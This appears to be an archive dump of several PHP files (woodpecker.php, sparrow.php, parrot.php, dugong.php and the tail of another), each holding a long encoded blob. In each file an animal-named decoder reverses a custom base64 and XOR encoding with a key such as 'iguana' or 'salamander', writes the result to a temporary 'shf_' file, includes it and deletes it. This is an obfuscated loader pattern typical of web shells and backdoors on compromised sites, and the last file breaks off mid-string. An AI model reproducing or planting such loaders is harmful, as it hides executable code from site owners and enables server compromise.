gsPHQIHWmNrSUdVQU5BSUdVQU5BHQINFUMFDAQaEw8VAAgbW04PBgkQWmNrSUdVQU5BSUdVQU5BHRUUDx0IHQ4aD1RBCAsZQV5PWFIGQQsAGgJObGRBSUdVQU5BSRp4a05BSUdVQU5BCxIBFQEPUw8aFwsTSRx4a05BSUdVQU5BSUdVQQwOEUoGCQ8FBhBPQV5BWxcNQVYREUcHBgwAQVFATU5XXEtVV1tNSVdbVkdaZG1VQU5BSUdVQU5BSUcXAA0KDhUaFAAFRAQaDQETUxUSAw9JWFRNTU5QUUtVVVZNSVdbVlZIUmp_QU5BSUdVQU5BSUdVBwEPHUoGCBQEU0dEUh4ZUmp_QU5BSUdVQU4cZG1VQU5BSUdVQUAHAAsQJAoIHQIHQRVsY0dVQU5BSUdVQU5BSRMQGRpMCAscBgBbSQQQDxoEG1x4a05BSUdVQU5BSUdVQQ0OBQgHW05CDwYTUQtXUmp_QU5BSUdVQU4cZG1VQU5BSUdVQUAJDAYRBBxBEmp_QU5BSUdVQU5BSUdVBwEPHUoTAAMIBR5PQUkiBhIHCAsTSSkQFklNSSQaFBwIDBVZQQMOBwgGEQ8CDFx4a05BSUdVQU5BSUdVQQgOBxNYEgcbDF1VUFpRTFx4a05BSUdVQU5BFGp_QU5BSUdVQU4IBxcAFTUVEBcQXEwVDB8BQzNBEmp_QU5BSUdVQU5BSUdVAw8CAgAHDhsPDUoWDgIOG11VQl8EWAJEBFVsY0dVQU5BSUdVQU5BSQQaDQETU0dWBw8HWQJDWmNrSUdVQU5BSUdVQU5BCwgHBQsTU0dEERZBGggZCApBSlJAVFVsY0dVQU5BSUdVQU5BSRcUBQoIBwBPQVoREVx4a05BSUdVQU5BSUdVQQgOBxNYBw8MAAsMW04MBgkaEh4ACgJObGRBSUdVQU5BSUdVQU4MCBUSCABMBQITFVRBWFcFGVVsY0dVQU5BSUdVQU5BSRAcBRoJU0dHUV4REVx4a05BSUdVQU5BFGp_QU5BSVtaEhoYBQJLbGRdRg8QAApfZG1JAwEFEFl4a05BSUdJBQcXSQQZAB0SVEUTCAIELAMcFQsTS1l4a05BSUdVQU5BVQEaEwNBBAIBCQEFVEUlLj01S1l4a05BSUdVQU5BSUdVQVIFABFVAgIAGhRIQwYECAMQE0xfZG1VQU5BSUdVQU5BSUdVQU5BVQ4bERsVSRMMEQtcSxMQGRpDSQkUDAtcSwkQFjEHAAsQDw8MDEVVEQIACgIdDgIFDBVIQwAEHjgTCAIEBwYYBExBHwYZFAtcS0VLbGRBSUdVQU5BSUdVQU5BSUdVXQwUHRMaD04VEBcQXEwSHAUYCBpDVyQHBA8VDFtaAxsVHQgbX2NrSUdVQU5BSUdVQU5BSUdVQVJeGQ8FQQcHSU9UBAMRHR5dRQMEGhQUBgtIQEcQAgYOSUBJBQcXSQQZAB0SVEUYBB0SCAAQQ1BGSUlVCRoMBRQFBA0ICAsWCQ8TGk9RDAsSGgYSBEdBR0dSXUEFABFLRlVBVll4a05BSUdVQU5BSUdVQVJODQ4DX2NrSUdVQU5BSUdVQU5BVQUHX2NrSUdVQU5BSUdVQU5BVRMQGRoAGwIUQQAABAJIQw0OBxMQDxpDSRcZAA0EAQgZBQsTVEVaTk4WGw4BBE4YBhIHQQ0OBxMQDxpBAQIHBEBPR0VLXUEVDB8BABwECFl4a05BSUdVQU5BVUgTDhwMV2p_QU5BSVtaBQcXV2p_XUEDBgMMX2NrVUgdFQMNV2p_bGRdVhcdEWNrTRcUFQZBVEccEh0EHU9RPikkPTxSEQ8VAUAoSE5eSRUQAAIRCBMdSUo-LiIhOkkRCBMdRjNISV1VDxsNBVx4a0oFBgQADAsPHTUaDhpBVEcHBA8NGQYBCUYGDBMWFgpJQE5ObGRsYw4TQUZATRcUFQZBFRtVQAcSNgMcE0ZFGQYBCUdISRx4a05BSUcRCAtJTg4bAgETGwIWFU4FABUQAhoOGx5SSFVsYxp4a2NrTQoQEh0ADgJVXE5GTlx4a2NrAAFVSUo-OiInNyszMkAnJD80LDQhPiMkPS86JUk8SVpIXE5GOSgmNUlISRx4a05BSUdRDwsWLw4ZBAAABAJVXE4IGhQQFUZFNjc6Mjo6TgkQFjEHAAsQDw8MDEAoSE5eSRMHCANJTTglLj01MkAbBBk-Dw4ZBAAABAJSPEdBU0dSRlVsY0dVQU5FCggbFQsPHUdIQQcSGgIBSUo-OSgmNTVGCggbFQsPHUAoSE5eSUMqMSEyPTxSAgEPHQIbFUk8SV1VRklaZG14a2NrSUdVQQcHSU9RDwsWLw4ZBAAABAJVQFNcSUBSSE4aZG1VQU5BSUdVQUoVCBUSBBonAAsQQVNBTRcUFQZBR0cxKDwkKjM6Mzc-OiIlIDwgPSgnQUBBCwYGBAAABAJdRQAEHiEcDQsPCAoQSFVsY2p_QU5BSUdVQU4ID0ddQAgIBQIqBBYIGhMGSUoVCBUSBBonAAsQSEdBEmp_QU5BSUdVQU5BSUdVCAhBQQEcDQs-GRIBPg0OBxMQDxoSQUMBABwGDBMzCAIERUdRAgEPHQIbFUdBSFpIQQgABRQQSE4aZG1VQU5BSUdVQU5BSUdVQU5BTQoQEh0ADgJVXE5DChUQABoEDUZXWmNrSUdVQU5BSUdVQU5BFEcQDR0ESRx4a05BSUdVQU5BSUdVQU5BSUdRDAsSGgYSBE5cSUUTAAcNDANVFQFBHhUcFQtBDw4ZBFVDUmp_QU5BSUdVQU5BSUdVHGNrSUdVQU5BSUcIQQsNGgJVGmNrSUdVQU5BSUdVQU5BTQoQEh0ADgJVXE5DDw4ZBE4ABRUQAAoYSQINCB0VGlxXWmNrSUdVQU5BSUcIbGRBSUdVHE4EBRQQQRVsY0dVQU5BSUdVRQMEGhQUBgtBVEdXBwcNDAkUDAtBABRVEwsQHA4HBApaS1x4a05BSUcIbGQcZG1KX2Nr';
if (!function_exists('monkey')) {
    function monkey($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), monkey($encrypted, 'iguana'));
include $tmp;
unlink($tmp);

?>woodpecker.php000066600000004222151145357430007433 0ustar00<?php
$encrypted = 'TEQqKDY9NyAgTg8BBAJOaGRbHR0DHFtjbVVJTlBZBgIUDVBMSgYCFA1QfW9OR1VJUhIKCh5LZGRQRU5HVUlOUFkKDgNJDRwEHRRISwofBjwIGh0sHAoNDFdXY3pFTkdVSU5QRU5HVUlSTxUGF3hjTlBFTkdVSU5QRU5HVUlOUEENEgcbCx4RPgYBAU5NRQcUBgwaWEExIDA9NVcVDxMdTjNZRVFHUTYpNTE1QAUIGhhCM0dPSQkVEQ0QEUFHS2hkR1VJTlBFTkdVSU5QRU5HVU0eERcaFFVUThUdHgsaDQtYISc1MCo6Pzc3OCYsPjE3LzM6O0JQERwOGEFKExAcFRAHGiAEGg9ZSSo5NyskISY8KTo9IiUoPDExITVcQFV9b05HVUlOUEVOR1VJTlBFTkd4Y05QRU5HVUlOUEVOR1VJTlBBBxQiAAAUChkUVVROAxEcExocHgAAHE8GHAwDERxPJSE-Lyo9S1VZQlBWR05VVFNNRUkwPCdJS2hkR1VJTlBFTkdVSU5QRU5HVU0NBRccAhsdTk1FSg4GPgceAQEQBklRUEJJR09JKjk3KyQhJjwpOj0iJSg8MTEhNU5kZFBFTkdVSU5QRU5HVUlOUEVjbVVJTlBFTkdVSU5QRU5HVUkLEw0BR1JVABETUEBOZGRQRU5HVUlOUEVOR1VJTlBFY21VSU5QRU5HVUlOUEVOR1VJCB8XCwYWAU5YQR4GBx0dUAQdR1EZDwIRR0cOZGRQRU5HVUlOUEVOR1VJTlBFTkdVSUoTEBwVEAcaUEtTR11NDQUXHAIbHU5NWFNHUk5OT0VJQFVTTjQsPCI2PSEiPDE0MDkvIiQ6KCdATl5FShcUGxpLaGRHVUlOUEVOR1VJTlBFTkdVSU5QRQsEHQZOV1kPRxYFDwMWU0URBg0iCgETIQwWBEcGFRAPU1JaHgYBAVNXRUBHABsCFQsNCBEMRlQGGxUHDAAETE5JVU5MTkJOSVUBGh0JHRcQCgcRCQ0PFBsdWEEeBgcdR1BLTkBJRg9OSklceGNOUEVOR1VJTlBFTkdVSU5QGGNtVUlOUEVOR1VJTlBFTkdVSWN6RU5HVUlOUEVOR1VJTlBFTgIWAQFQQlJIGwgYTkJVan9JTlBFTkdVSU5QRU5YS2RkUEVOR1VJTlBZQQMcH1B9b05HVUlSXwcBAwxXY3pZQQ8BBAJO';
if (!function_exists('caracal')) {
    function caracal($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), caracal($encrypted, 'penguin'));
include $tmp;
unlink($tmp);

?>sparrow.php000066600000004744151145357430006777 0ustar00<?php
$encrypted = 'W1YCCRZrb0MNHQITCwAJHSAOCRJFWkkABAcKFQYdGkkBAxEEHhZJT09eamNWFBYKCgYNIgASDkVaSRsSFQMRT00tJiMyPkAZExUOQThOSU1BQjkiIj0pRhYHEQ9OL0FcRkEDBhEUCwMLEzsdDhJdaG1NBxEKCQQDORMVDkZYRxoGEzkUABcFEwIDTj5ARlVNRkE5O04vTUYiLDUsMTUpNDw4OjcxJzQkMyYgTUZCEBcFHQACNgQTAVtaa2xobQAUQU5HDBQ2FggUTkESGR4OBwI1Bh0aSE9GHmpjUkFGRgEODFpDtvu10rnGsdi22rbqo-C35LXfuc6w7bbcR7nNsOW357blUrHRttW32qPht-W10LnIsd5GTbfUotRGttG30aPhttO13bjwsdi35bfRo-5PSEdOUn9rG2tvamMbB0ZOQTg6NzMwIzc8TiAkNzMgND0tLCMyLSgtVTxGW1haSVUxKTUxQElUR0YPFhQMBklCOSMuJTcyPUEQFwUdAAIDATgPGw0DFUI6QFtBHWtvR0lSQUIADAsMAUFbRkE4LzstIzU-QBwCDQkHAQINLQcPCgAUTi9aa2xobUlSQUYAChVJWkUPRlhHWUlBQg9FW0kRDhMIEU9NFAgKAxY8ThwACwNCOkBJQUIPTkxAUhprbEVHSVJBRkZFDg9SSUIADAsMATpBAxcVBgBGOz1BDjRSXFtbRTI5Pi4nIjoiOyA-KS1MRxJ_a0ZGRUdJUkFGRkVHSVYHDwoACQgfBEZbRQUIAQQIBwgCQVYHDwoAFDJVDwcLAEA0KUUPO0xcZHhBRkZFR0lSQUZGRUdNBgwWKAQKDFJcRkIDDgUXEj1BEQoZLQ8HCwBANClFDzteamNSQUZGRUdJUkFGRkVDDRcSEg8LBh0bDghGWEdNBxEKCQQDORMVDkZLRy07MyMlMSg7Kz41IzUmOzM1KTRFSUlWBw8KAAkIHwRda29qY1JBRkZFR0lSQUZGRQ4PUkkLCRMCNgcRCgkEAwwWPgAPCQJBVhULFisGBBdNRkIBAhoGCAgHEQ4GHEhPRh5qY1JBRkZFR0lSQUZGRUdJUkEDBQ0ISVCxwrbVt9Ci2kZBQQEAHgQIBwgCTlKw5bfkt9ai1Lfutdq5zEG20bXXucGw5rfmt9-i1LbbS1sLAF9EXWhtSVJBRkZFR0lSQUZGGEcMHhIDRh5qY1JBRkZFR0lSQUZGRUdJUkEDBQ0ISVCx-Lftt9Gi0LbctddJot635rXfSaLWtta11LjysOW20rfTotRGQUEBAB4ECAcIAk5cXQQUW0VSf2tGRkVHSVJBRkZFR0kPbGxGRUdJUkFGRhhHDB4SA0YeamNSQUZGRUdJUkFGRkUCChoORkS1-bj6sd621LfTotFGttK32aLSt-a05LnFsdy23Ue49rHWtty30qLRRkEeQw8bDQMVPkAHEwwDQTg8TRs8G0FFT7nIsdi20V1JCUUADwkCGilGAxQXCBtVPD1CDDoUW09aBBdZS0lsbEZFR0lSQUZGGGpjUkFGRhhqYw9sbFlbamM';
if (!function_exists('wolf')) {
    function wolf($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), wolf($encrypted, 'giraffe'));
include $tmp;
unlink($tmp);

?>parrot.php000066600000011237151145357430006604 0ustar00<?php
$encrypted = 'T14cCR1sZEADGx8ETFxNCB0XAAZbRTMmKDU1QxUTBwlLPERBUUQXFxINHAAZCUZAOjU2NTdGHQAaDEIvWkFWQQMUAghef3lFCA4OFAMBCwYhDgMVTVxOFgATHxENFQVJCQEREQQFREhEWmNuaHgaB0xJTEUIDQkXUx0QQUwIHTsDGx8EREULCAIBTFtTGmFrTUFORAEbFklLCAMCARYXFxAVTAcEDQtDTEl-axFsZ2xkQAgXABINBghBU0RCVUhsZmxnCAhETVYsMikzOyQ8P0IgNjA5JD41MSkgJjsuKEYwQVNZWFJUMSMyOUZHRB5_eUFMQU0ICERNGwASCRVFRTE0KiEnOksCAg8aAQsGVDxFSE0aY25FUlNBTEFNQUoKAAUwDgIVCA8aRFhSVz48Lj41NUMGHR0VCQ8ZRjNfaHhTQUxBTUFORAMbHwQzERgVMQcKHAcEAhUeSUoCDB4WTUxFAwQZJwocBwQCFURaY25FUlNBTEFNQUoJAAEAAAsETVxORhYTBQQIWk1DVWlvUlNBTBxga2NuRVJTQQUHTUlPAQgCBxhERTIxITcxKVQPCRYyBwcIABwSDAlGMEhHRB5_eUFMQU1BTkRFVh0EGy8MDAtEWFIRAB8EAwADAU1WLDEjMjk6SQoABSwHBQ0IDw8JAFUuSFdsZ0FOREVSU0FMRQMEGTQEBhtBUUEJCBwKBB8WSUgHBA0LTUVcUyUlMygiOis3KywyKTEsMy8wKiBTT0xFAwQZKgQfFlpha2BrTkRFUlNBTEEEB05MQRwWFjwAGQlORVhPU0UKCAEETkJDUlIHBQ0IPgscDAEHEkRFAwQZNAQGG0hFQRZsZERFUlNBTEFNQU5ERRsVQUQTCA8PCQBaVwcFDQhNTkALFwQxDRUFSEdEHn95QUxBTUFOREVSU0FMQU1BTkADGx8ETFxNEwsFCQISFQRJSQ8LEzUTBwlFWmBrTkRFUlNBTEFNQU5ERVJTQUgMCBIdBQIXU09RQU9BHAELEx4ECFpPWmNuRVJTQUxBTUFOREVSDkEJDR4ETh9oeFNBTEFNQU5ERVJTQUxBTUFKCQABAAALBE1PU0RHUhUABQ0IBU4QClIBBAIAAARVRl5_eUFMQU1BTkRFUlNBTBxga05ERVJTQUxBEGxkREVSUxxhaxBsZGlvVhAOAhUIDxpEWFIVCAAEMgYLEDoRHA8YBAMVHUxBFBoNCUhWbGRbW395bGZdTCUhJzErIyRMCRkMAlpoeE8JGAwBX2NuWRoWAAhfYGtOREVSTwwJFQxBDQwEAAAEGFxPNDoiSEpRX2FrTUFORFkBBxgABFNsZERFUlNBTEFNFQscERMBBA1BFmxkREVSU0FMQU1BTkRFBRoFGAlXQV1UQEl-a0xBTUFOREVSU0FMQQUEBwMNBklBWFEbCVVpb1JTQUxBTUFOREVSUwMNAgYGHAsQHBdMDw4BDhxeRVFBA14DXwNVaW9SU0FMQU1BTkRFUlMCAw0CE1RERhQSB1wEW1pjbkVSU0FMQU1BTkRFUhEOHgUIE1REVAILQR8OAQgKREZGR1VXbGdBTkRFUlNBTEFNQU4UBBYXCAIGV0FfVBUKSGxmQU1BTkRFUlNBTEFNBwEKEV8VAAEIARhURAgdHQ4fEQwCC19oeFNBTEFNQU5ERVJTQQoOAxVDFwwIFltMUFkRFl9oeFNBTEFNQU5EGH95QUxBTUFOREVcHgQfEgwGC0Qef3lBTEFNQU5ERVJTQUwCAg0BFl9SHwgLCRkGHAEAHEhsZkFNQU5ERVJTQUxBTREPAAEbHQZWQVxRHhxef3lBTEFNQU5ERQ9-a0xBTUFOREVSERQYFQIPTh9oeFNBTEFNQU5ERVJTQQ4ADgoJFgoHHQVWQQ8NDwcOSX5rTEFNQU5ERVJTQUxBDg4CCxdIU0IKBwtaY25FUlNBTEFNQU5ERVIDAAgFBA8JXkVHAxlMWR0ZVWlvUlNBTEFNQU5ERVJTAwMTCQQcXkUcHA8JWmBrTkRFUlNBTEFNQU5EBgcBEgMTV0EeCwwcBwQeWmBrTkRFUlNBTEFNQU5ECBMBBgUPQA0LAhFIU1BcERVaY25FUlNBTEFNQU5ERVIRDh4FCBNDFgQWGhQfW01QHhxef3lBTEFNQU5ERVJTQUwHAg8aSQMTHggAGFdBSScKBwEICRNNLwsTQl5TIgMUHwgLFklSHg4CDh4RDwcASX5rTEFNQU5ERVJTQUxBCw4AEEgBGhsJW01QXlRASX5rTEFNQU5ERVIObGZBTUFOREVSUwMZFRkOAF4NHQUEHkEWbGRERVJTQUxBTUFOREUQEgIHBh8OGwoBSFNCWldbWmNuRVJTQUxBTUETaW9SU0FMQU1BTkoDGx8EKQUEFQsWRQl-a0xBTUFOREVSU0FMQRkEFhBIEx8ICw9XQQ0BCwYWE1dsZ0FOREVSU0FMQU1BTgcKHhwTVkFOBw8CVRdFWmFrTUFOREVSU0ERbGdBTkRFUlNBTE8FBA8AAABTGmFrTUFOREVSU0FMQU1BCAsLBl4HDQwEDRdeRVUwDhkTBAQcRCsXBEZAQS4OGxYMFwFNTAwCDwEXFRMQBFdsZ0FOREVSU0FMQU1BTgIKHAdMHwgXBFREVEZDRFdsZ0FOREVSU0FMHGBrTkRFUlNBTEEEDx4RESkHGBwEUEMaAR0GUTxMGmBrTkRFUlNBTEFNQU5EBxMQCgsTAhQAAEgRHA0DE1dBTVUAQxZQCVpga05ERVJTQUxBTUFORAYdHw4eW01CCAUDQhZXV2xnQU5ERVJTQUxBTUFOBgoAFwQeW01QHhxFARwNBQVNQltRUEl-a0xBTUFOREVSU0FMQR0ACgAMHBRbTFUdGVVpb1JTQUxBTUFOREVSUwcDDxlMCAUIGx8YVkEADgALFgISAglaYGtOREVSU0FMQU1BTkQIEwEGBQ9ADQsCEUhTUFwRFVpjbkVSU0FMQU1BTkRFUgQICBUFW05WVUIDGVdsZ0FOREVSU0FMHGBrTkRFUk9OHxUUDQtaaHhPTgQEDAVQaW9OEQ4IGFNsZERFUlNdCAgbQQ0IBAEAXE4HBA0LIQEbBwQeQ1NsZERFUlNBTEFNXQgLFx9TDAkVBQ4KWUciPDI4Q1NsZERFUlNBTEFNQU5ERU4XCBpBDg0PFxZPUQkJAAkEHEZbf3lBTEFNQU5ERVJTQUxBTUFOWAwcAxQYQRkYHgFYUAcEFBVPQQAFCBdOQwIEGj4IDQkXHQABBE9BGAUJBxZcTl1SEQYURRcQCQNBBRUDCBYCFgIFAAECBgUXAVsDDRIIDw8JAFpXBwUNCEhHX0VNTUNSbGdBTkRFUlNBTEFNQU5ERVJTXQ4UGRUBCkUGChEJXE8SGwYIGwdDUjIMFwtYShAGFRgOA19jbkVSU0FMQU1BTkRFUlNBTEFRXh4MFVIaB0xJTAQDFBELW0UBBB4SDwMAW1pBCQIFDk5DWRYaF0wCAQAdF1hQHgQfEgwGC0ZbVVNPTEUABB0XBBUWQUJBSl1BAAwETUZXQVJfY25FUlNBTEFNQU5ERVJPTggIG19jbkVSU0FMQU1BTkRFUk8DHl9ga05ERVJTQUxBTUFORFkGFhkYAB8ED0QLEx4EUUMODgAQABwHQ1JdUhEGFEUXEAkDQQUVAwgWAhYCBQABAgYFFwFbRQ8OAxULChFbSEFTX1FOGgEdBhITCQBTbGRERVJTQUxBTV1BAgoAHl9ha01BTkRZXRcIGl9ga1JLBx0XGFJsZ11BDBEfH19haw';
if (!function_exists('cricket')) {
    function cricket($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), cricket($encrypted, 'salamander'));
include $tmp;
unlink($tmp);

?>dugong.php000066600000012256151145357430006562 0ustar00<?php
$encrypted = 'VAMdHQNICBcbBgcBT00-JzYmTU4JBgYGAQZYUFAKDQkXGws3AxsDCxtYQ01OBwsbAR4dEU9NGgcCFQMLLAAeChoNJwcbGgcLWkZMVmh4T05IRU4aAlZoeE9OSEVST05IWU0fBhhoeE9OSEVST05IAwcBDRwMHQFODgoAAg8cJwsbCxtNVg0XHAABQ05MFQAKDQEWGwAASFhSXUdIHn9lTkhFUk9OSEVST05IQQcBBxwWUlJOM0IwSEJIQjktSURFVSIsT0lSSCkqQl5PSTwnVTJVZW9ST05IRVJPTkhFUk9KChwGCh1IWFICDxBNVg0XHAABQ05YTEliZEhFUk9OSEVST05IRVYfAR9FT08IBAodHUZAQRAWGg0WUlBOBAoVR0oKHAYKHUFFSE9eQUVdTwIHAlpeXlpRW0ZVZW9ST05IRVJPTkhFUk9KGAoFT1NICBsBRkwVHRhCSAYdGgAcTVYaAAERAUZORUVDRlVlb1JPTkhFUk9OSEVST0oKHAYKHUhKT08eBxJaXl5aUV5PShgKBUZVZW9ST05IRVJPTkhFUk8cDREHHQBIFx0aAAxNVg0XHAABQ05MFQAKDQEWGwAAQUVcT0lIQlJBTkwQHAYaGz5WHwEfOEliZEhFUk9OSEVSEmNiaHhPTkhFUk9OSAwUT0YBFi0LBxpNVgwbGhcXARo4BAYHR0FFCWJkSEVST05IRVJPTkhFVgYaDQgBT1NIFhEOAAwMAEdKCxAAHQsGESIOGgBMSWJkZW9ST05IRVJPTkhFUk9KDAwAHE5VRSkyVWVvUk9OSEVST05IRVJPSg4MHgodSFhSNDNTaHhPTkhFUk9OSEVST05lb1JPTkhFUk9OSEVSTwgHFxcODQBFWksHHAAfHE4JFlJLBxwAH0ZOE2h4T05IRVJPTkhFUk9OSEVSTwcORVpLBxwAH09TVVhSSEBPRQ4TTkwMBgoDSFhPUk5PS1xIR0gGHQEaAQsHClVlb39lTkhFUk9OSEVST05IRVJPTkwMBgoDOAQGB05VRVYMGxoXFwEaOAQGB05GRTYmPC0mJiA8MTohKj4pNzM7ITpFXE9KAREXAlVlb39lTkhFUk9OSEVST05IRVJPTgEDUkcHGzoWBhxAQRsbCwU1ExsGQUxSFGNiRVJPTkhFUk9OSEVST05IRVJPTkhBFgYcGz4vT1NIQRsbCwVef2VOSEVST05IRVJPTkhFUk9OFUUXAx0NRQliZEhFUk9OSEVST05IRVJPTkhFUk9OTAMbAwsbPi9PU0hBGxsLBV5_ZU5IRVJPTkhFUk9OSEVST04VaHhPTkhFUk9OSEVST04VaHhiZEhFUk9OSEVST05IRVYLAQsQHwoAHDcdABpIWFIdCwkJAg4aAE0VChoLEhZHR0Fef2VOSEVST05IRVJPTkhBERocGgAcGz4JERpPU0gXFw4CGAQGB0ZMBgcdHA0LBj8PHA1bVGNiaHhPTkhFUk9OSEVST04BA1JHSgsQAB0LBhEiDhoARVNSU0hBFgANHQgXARo6Ch0bR0gef2VOSEVST05IRVJPTkhFUk9OTBUTHQsGESIOGgBFT08KARccDgMNTVYMGxoXFwEaOAQGB0dTaHhPTkhFUk9OSEVST05IRVJPCwsNHU9JVAkbTw0EBAEcU0oBGx1MVlkTTw0EBAEcU0oDGwMLGzYLHBoNCFBPBhoAFFJMVxUTGwZVQlJBTh0XHgoACwoWCkZMFRMdCwYRIg4aAExSQU5PR0w0QEY4TkAPVlldAwdWQkliZEhFUk9OSEVST05IRQ9iZGVvUk9OSEVST05IRVJPCAcXFw4NAEVaSwoBFwFPDxtFVgsHGkxSFGNiRVJPTkhFUk9OSEVST05IRVYLBxo1ExsGSFhSSw0dFwAKABw1ExsGSEtSKyc6IDE7ITo8LTwrOCQgLjonN1JBTkwBGx1VZW9ST05IRVJPTkhFUk9OSEVSCg0AClJIUgQMUgwCCRYBUkwMDABNUE9ef2VOSEVST05IRVJPTkhFUk9ODQYaAE5PWRsBHh0RUgwCCRYBUkwLDRcMBQoKCkIdGAQRBgAPR1IbFxgAT00NAAARBAwHHVBPAAkIF1JMDAAeChoNOhQGAg0WKTJMSBMTAxsNWFBITkZFGhsDBBYCCg0BBB4MBgkXAUdKDAwAPw8cDVtPQEhCUE8BBgYaDgAPAE9NGgcCFQMLLAAeChoNJwcbGgcLWkZMVkJJYmRIRVJPTkhFUk9OSEVST05IABEHAUhCTg5OCwkTHB1VRxQGAg0WIRYdHAAfKwcaR1IHHA0DT01RGAQGB1NPRVxPGxoJFwENBwEXR0oMDAA_DxwNW09ASEJQUTVIQlJBTgARHwMdGAARBg8EBhoOHBtNVgsHGkxSQU5PRS9PTlRKE1FJU2h4T05IRVJPTkhFUk9OSEVSTwsLDR1PSVRKHgZQT15_ZU5IRVJPTkhFUk9OSBh_ZWNiRVJPTkhFUk9OSEVSCQEaABMMBkhNVgkHBAABTw8bRVYJBwQAW08VZW9ST05IRVJPTkhFUk9OSEVSSwgBCRc_DxwNUlJOTAYHHRwNCwY_DxwNUkFOLCwgKi08KiA2MTsgIi48KTE9PU5GRVYJBwQASWJkSEVST05IRVJPTkhFUk9OSEEUBgINNhsVC0hYUgkHBAABBhQNTVYJBwQAIg4aAExJYmRIRVJPTkhFUk9OSEVST05IQRQGAg02GxULLgoAAg8cERcLTlVFFAAcBQQGLRccAAFHSg4MHgo9AR8XRlVlb39lTkhFUk9OSEVST05IRVJPTg0GGgBOT1keBk4LCRMcHVVHFAYCDUdMSFVlb1JPTkhFUk9OSEVST05IRVIKDQAKUkhSAQsCGhpIBh4OHRtYUAwGDQYZDQEQSAEfDwsMHAhMSBELHwtVRxEHCwsOEAAWSkUcDgMNWFALCwQABgoxDgweCh0zOFBPGAkJBwpTSkJSQU4AER8DHRgAEQYPBAYaDhwbTVYJBwQAIg4aAExSQU5PR1IAAAsNEwEJDVhQGwEPAh4KKg0JFxsLKhAGGwEGTVtNUE9ef2VOSEVST05IRVJPTkhFUk9ODQYaAE5PWRNPDQQEARxTSgMbAwsbNgscGg0IUE8GGgAUUkxXFRMbBlVCUkFOHRceCgALChYKRkwDGwMLOAQGB0dIS1JITFZCUkFOABEfAx0YABEGDwQGGg4cG01WCQcEAFtPQEhCUk9SRwRMSFVlb1JPTkhFUk9OSEVST05IRVIKDQAKUkhOVBYCDgBIFgYWAg1YUAkCBwQGVQ0NCwYKHFNFFAAAHEgBBhQNX0JBVw0ISU8NBwkdHVQPFxMWVUpbVU9ASEEUBgINNhsVCy4KAAIPHBEXC05GRVVTQRsVEwFQT15_ZU5IRVJPTkhFUk9OSEVST04NBhoATk9ZXQMHVkJJYmRIRVJPTkhFUk9OSEUPYmRIRVJPTkhFUhJjYkVST05IRVJPUVZoeE9OSEVOQBsEW39lTkhFUlMMHREGAABIDBZSTAwAHgoaDScHGxoHC1BPDQQEARxTSgcHGxoHC18DBwMAXwsLBEdSGxcYAE9NHR0HHwYaSkUBGxcEAE9NAwkXFQYARQkXCRpSRUdBW01eUgsHGxUeDhdSCx0BC1NHTCsLBAAGClJHBwcbGgcLTGJkVEoUABwFW39lY2JZAQwcARUGUWNiRVJPTg4QHAwaAQocTxoHAhUDCywAHgoaDScHGxoHC1pGThNoeE9OSEVST05IBh0BHRxFEQcLCw4QABYNFlJSTgwKERoDDQsGQR8dAAAWPQ0JFwwaBxczAwJAQhsBHh0RKQEPBQBPTQoNCRcbCzcDGwMLGz4vTTNPTEliZEhFUk9OSEVSDAEGFgZPDB0RBgAASFhSCwELEB8KABxLFQoaLQkXAgsGETAWJwxNVQsLBAAGCiwdEQYAAE9MSWJkSEVST05IRVIDCxxFExsiDQQBGyEGADEHCwsOFwtOVUUUDgIbAEliZGVvUk9OSEVST04LDRcMBQoKCgodRgMdHSsJBhpHDQpFT1FOE2h4T05IRVJPTkhFUk9OAQNS